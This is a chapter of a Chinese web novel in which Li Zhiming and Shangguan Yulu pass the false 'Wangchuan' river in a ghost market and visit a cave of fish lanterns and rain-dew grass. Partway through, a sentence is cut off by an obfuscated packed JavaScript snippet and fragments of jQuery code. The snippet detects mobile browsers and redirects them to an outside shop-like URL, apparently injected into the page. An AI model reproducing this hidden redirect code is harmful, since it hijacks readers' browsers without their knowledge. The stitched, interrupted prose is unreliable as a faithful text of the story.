23.第二十三章
作品:《你这种货色在我们这里是没有出路的》 蒙上窗,街市的声音远了,轿子里的两人谈笑几句也歇了声,轿子已久徐徐向前,忽然,李之鸣听见了一阵流水声。
“哎?”李之鸣好奇的出声,又撑着身子往窗边探。
上官羽鹭见状伸手挑开红布垂纱,血色早已褪去,唯余清冷月光奔走,河水潺潺东去,几丛彼岸花在夜里摇曳,河岸边有些带着哭脸面具身披白布的人,他们手里拿着一盏河灯,踏过鹅石子路,将那一盏灯送到河水里,悲戚地唱着些听不懂的词。
不同于鬼市街上的那些人对轿子的狂热,他们甚至都没有多看一眼这边。
在这条河上,还有一道曲折的长桥,遥遥望去一眼看不到尽头,在桥侧漂浮着零星河灯,它们有的随着桥延伸向前,有的则是在河面打了几圈转,最后沉入河底。
“奈何桥。”
上官羽鹭突然开口,看向李之鸣,他继续说:“听过这里的故事吗?”
李之鸣摇了摇头,若是人们口口相传的奈何桥,他倒是知道些,但是他觉得上官羽鹭要说的和他知道的应该不是一码子事。
看了一眼窗外,越来越多的人加入了放河灯的队伍,相应的歌声也越来越大,上官羽鹭屈着手指在窗棱上敲了几下,节奏竟和放灯的那些人唱的曲一模一样。
“这条河叫‘忘川’,传闻,喝了这里的水就可以把前尘往事一并忘却,不过这里毕竟不是真正的鬼门关,这条‘忘川’也是假的,你看到的那些人是‘摆渡人’,一开始都是为了忘记此生苦楚从头再来的人,来了才发现这就是条普通的河。”
上官羽鹭笑着摇了摇头,“后来,他们就接取外来的信,再把这些信放在河灯里,想着指不定能寄到对岸,让牵肠挂肚的人看到。”
“这里的摆渡人渡不了河,却渡得阴阳相隔的苦,也算是一桩好事,这些人也就留在这暗无天日的鬼市了。”
李之鸣:“……”
“你还真没骗我啊……”沉默半晌,李之鸣还是说出了这句话。
这是在说上官羽鹭刚刚告诉他的自己来过鬼市。
上官羽鹭没有狡辩,他点了点头,承认后,补到:“但我要是说大部分事情我都忘了,你信吗?”
李之鸣:“比如?”
“比如……”上官羽鹭摘下了面具,月光落下,凉风习习,几缕发丝散落在脸侧。
李之鸣一惊,抬手想把面具给他戴回去,却被上官羽鹭擒住胳膊。
上官羽鹭嘴角微扬,眼中是他对李之鸣一如既往的温柔,多了几分真情。
伪装都是给别人看的,对李之鸣,只要他想知道,他情愿刨心相待。
“我不记得我之前为什么要来这里了,也不记得中途发生了什么,只记得当时犯了不少忌讳,再来走一遭,见到一些景总是会想起些事,所以才能带着你一路畅通无阻。”
上官羽鹭的语气和表情都很诚恳,李之鸣叹了口气。
他只是迟钝,又不是傻,经历这么多,有些事就算想要回避也不得不承认——上官羽鹭瞒了他不少事,好不容易有几句说出来的,是真是假还有待辨别。
但其实从相识的第一天起,李之鸣就认栽了,他和上官羽鹭现在就是一条绳上的蚂蚱,无论上官羽鹭想干什么事他都会答应的,不过确实他们俩现在这个情况也不算认识了很久,更没有什么太重的交情,上官羽鹭不清楚他的底细,防着他也是理所当然,只是李之鸣觉得有些无力,有一种把全部身家全盘托出,人家却瞧不上的失落感。
想来应该也是他自己的问题,平时说话办事太不着调了,这样人家上官羽鹭怎么可能对他放心嘛……
想着李之鸣回答:“我信你。”
上官羽鹭微怔。
说完这句话李之鸣又不知道该说什么了,挠了挠头,又叹一声。
“所以你有啥事别藏着掖着好吗?你说你能摘星星取月亮我都信,只要你愿意说出来。”
上官羽鹭喉结上下滚动,应到:“好。”
.
乐夫开路,又走了一段路,李之鸣都快睡着了,他手肘撑着脸,闭着眼想着眯一会吧,结果困意太浓,手肘撑不住了,头有一下没一下地往下沉。
迷迷糊糊中,他听见了上官羽鹭的轻笑声。
李之鸣:“……”
真嗣美里帽,这人上学的时候没犯过困吗?
就以前张阑敢这么笑他,李之鸣高低要踹一脚回去,但今天李之鸣实在是太困了,在这个没有网络的世界生活了这么久,他的时差可算是倒回来了,但健康作息的弊端就是现在他困得要死,恭喜上官羽鹭同学逃过一劫。
意识越来越沉,沉到李之鸣觉得这轿子好像突然变窄了,身体一歪他靠上了一堵温热的墙。
李之鸣下意识将头垫了上去,然后他听见有人俯在耳侧,温声道:“睡吧。”
下一秒,意识沉入酣眠。
.
一路安眠。
李之鸣终于睡醒了,揉了揉眼,轿里的灯光不知道什么时候被人调暗了,他转了转伸了身子,一股沁人心脾的雪松味直冲天灵盖,他猛然发现自己半个人都窝在别人怀里。
“睡醒了?”
上官羽鹭沉稳的声音从头顶传来,李之鸣尴尬地收回了准备伸懒腰的胳膊,“唰——”地一下坐了起来。
看不见的地方他小脸通红。
“咳……”干咳一声,李之鸣抬手摸了摸脖子,“我睡了多久?”
上官羽鹭不知道从哪摸出来本册子,此刻正单手举着看,李之鸣纳闷这么暗的灯光他怎么看得见的。
听到李之鸣发问,上官羽鹭侧眼看向他,而李之鸣眯着眼伸长脖子,企图看清他手上拿的是个什么书,毕竟上官羽鹭手里的东西具有玩具秘籍二象性,这本书的内容就像盲盒一样吸引着李之鸣。
见李之鸣这幅样子,上官羽鹭嘴角勾笑,默不作声地把书往高处拿了一些,李之鸣也紧随着凑了过来。
眼见上官羽鹭的手越抬越高,李之鸣小声嘀咕:“你这个书怎么倒着拿……还是左往右翻的……”
“嗯?”上官羽鹭疑惑,急忙合上了手中的书,又翻转了一下,于是书封上的《夜逢猫妖二三事》就这样袒露在了烛火下。
“嚯!又是话本子!”李之鸣惊呼。
上官羽鹭:“……”
遭了李之鸣的道。
上官羽鹭失笑,抬手捏着那本书在李之鸣头上敲了一下,不过李之鸣跑得快,没打到。
躲过揍的李之鸣“嘿嘿”两声,又嬉皮笑脸的贴了上去。
“我们到哪啦?”李之鸣抬头问。
上官羽鹭错开他半个身位,撩开窗帘,一盏鱼灯擦着窗口跑过,而在这盏灯后是相同的鱼灯幢幢叠叠,宛若除夕灯会。
诡异又华丽。
李之鸣倏地笑了,“哇塞。”
上官羽鹭低头看他,问到:“要下去玩吗?”
李之鸣微微蹙眉,有些无奈,“现在合适吗?”
“合适,什么时候都合适,”上官羽鹭挑眉,看起来竟有几分得意,“只要你想。”
“行吧,”李之鸣歪了下头,说:“那我想去玩。”
随着他语出,轿子停了下来,坐太久
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667125|188287||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李之鸣腿有点麻,弯腰锤了锤小腿肌肉,上官羽鹭扣上面具,先一步出去,随后牛头马面掀开帘子,李之鸣一抬头就看到上官羽鹭站在路前朝他伸手。
一股莫名的熟悉感钻上心头,像是偶遇故友,满腔欣喜难自胜,却又想不起对方是谁,无端惆怅压住一丝丝的喜,来不及细究,李之鸣雀跃着探出花轿,扑了上官羽鹭满怀。
“好耶!”
李之鸣双臂环上上官羽鹭的脖颈,上官羽鹭伸出的那只手成了摆设,空握几下,迟凝着搂住了李之鸣的腰。
这是一个不太安分的拥抱,李之鸣嘴里絮絮叨叨地说着:“上官你真的真的太好了,我要是早点遇到你到你该多好。”
上官羽鹭微微一笑,“我同你心。”
拥抱没有持续太久,李之鸣松开上官羽鹭抬头朝四周看,发现这居然也是一处溶洞,地下河流向远处,河底生着妖冶的荧光,凑近一看才发现是一株株蓝色小花,除了河底,沿边的洞壁上也生着这种花。
花丛之中,就是刚才李之鸣看见的鱼灯。
李之鸣凑上前张望,问到:“这又是什么啊?”
这次上官羽鹭也不知道是什么了,他刮了一眼旁边坐在石头上休息的小鬼,那小鬼一股溜站了起来,到李之鸣身边做了个揖,谄媚道:“老爷,雨露草和锦年灯。”
好奇怪的名字,李之鸣还以为这东西能和《爱丽丝梦游仙境》里的草有个类似的名呢。
见李之鸣没回话,那小鬼继续说。
“据说啊,九天之上曾有一位神明,这个世界由祂造就,也遵循着祂的法则运行,祂俯视着整个世界……”
听着小鬼讲的故事,李之鸣微微皱了皱眉。
“但他也只是俯视,对于世间的一切事端,他从未出手。”
如是将这位神明喻作君王,祂实在是算不上明君,人世间的瘟疫、战乱、干旱水涝他都冷眼旁观,直到后来人群中站出来了一位祭司,那位祭司知晓天文地理,掐指一算便推算出了神明失职,四季扭转,时序变换皆有误,所以才造成了人间多灾多难,见众生跌至水火,祭司一拍胸脯,说:我同神明交涉。
而同神明交涉的神隐之地,便是这一处洞穴。
“然后呢?”李之鸣追问小鬼。
小鬼讪讪地笑了笑:“然后就地就多了这些东西了,当时年号‘锦年’所以叫‘锦年灯’,这草只须露水便可养活,固称‘雨露草’,这些都现长的,大自然的馈赠,老爷你要吗?小的给你摘点,不收钱的。”
李之鸣:“……”
本以为能听到什么高深莫测的故事,结果跟景区卖文创的话术一样,就差补一句“不白来啊,都不白来,鱼灯十五文,灯草十文,老人买了延年益寿,小孩买了欢喜”。
拒绝了小鬼的好意,李之鸣又逛了一下,突然发觉这里的灯和草出奇的一致,就像是复制粘贴的一样。
李之鸣想起了他刚来那天看到的街景,那些循着路线行走没有自我意识的人……
但小鬼说的故事里提到这位神明即位时,时序都是混乱的,就说明祂根本不在意秩序,和李之鸣在那条街看到的景象截然不同。
如果那条街和这位神明有关系,那位祭司做了什么可以让一位神性情大变?或则说……这个世界的神还是最开始的那位吗?
这是个以修仙为主的世界,那修仙的最高境界是什么?——天地同寿,一统三界,登顶化神。
此刻上官羽鹭走了过来,问:“还看吗?”
李之鸣皱着眉又扫了一遍这个地方,摇了摇头,和上官羽鹭回到了轿子里。

